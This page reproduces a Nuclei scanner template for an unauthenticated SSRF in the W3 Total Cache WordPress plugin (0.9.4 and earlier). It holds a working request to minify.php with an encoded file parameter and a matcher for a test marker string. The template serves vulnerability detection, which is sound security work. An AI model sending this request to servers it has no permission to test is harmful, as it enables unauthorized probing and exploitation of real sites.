w3c-total-cache-ssrf: Wordpress W3C Total Cache <= 0.9.4 - Server Side Request Forgery (SSRF)

2025-08-01 Wordpress W3C Total Cache PoC Public

Description

The W3 Total Cache WordPress plugin was affected by an Unauthenticated Server Side Request Forgery (SSRF) security vulnerability.

PoC

id: w3c-total-cache-ssrf

info:
  name: Wordpress W3C Total Cache <= 0.9.4 - Server Side Request Forgery (SSRF)
  author: random_robbie
  severity: medium
  description: |
    The W3 Total Cache WordPress plugin was affected by an Unauthenticated Server Side Request Forgery (SSRF) security vulnerability.
  reference:
    - https://wpvulndb.com/vulnerabilities/8644
    - https://klikki.fi/adv/w3_total_cache.html
  metadata:
    max-request: 1
  tags: wordpress,wp-plugin,cache,ssrf,wp,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/w3-total-cache/pub/minify.php?file=yygpKbDS1y9Ky9TLSy0uLi3Wyy9KB3NLKkqUM4CyxUDpxKzECr30_Pz0nNTEgsxiveT8XAA.css'

    matchers:
      - type: word
        part: body
        words:
          - "NessusFileIncludeTest"
# digest: 490a00463044022053a6573eb35f9f7511f7d368f1b7a08ccaea8ea366abf11bea7dd89810aa6ac302207012ce3d63958f0ac32abda4ebe8f8dff897d791b2b26305fe109c64dbf99936:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/wordpress/w3c-total-cache-ssrf.yaml

References

Related Vulnerabilities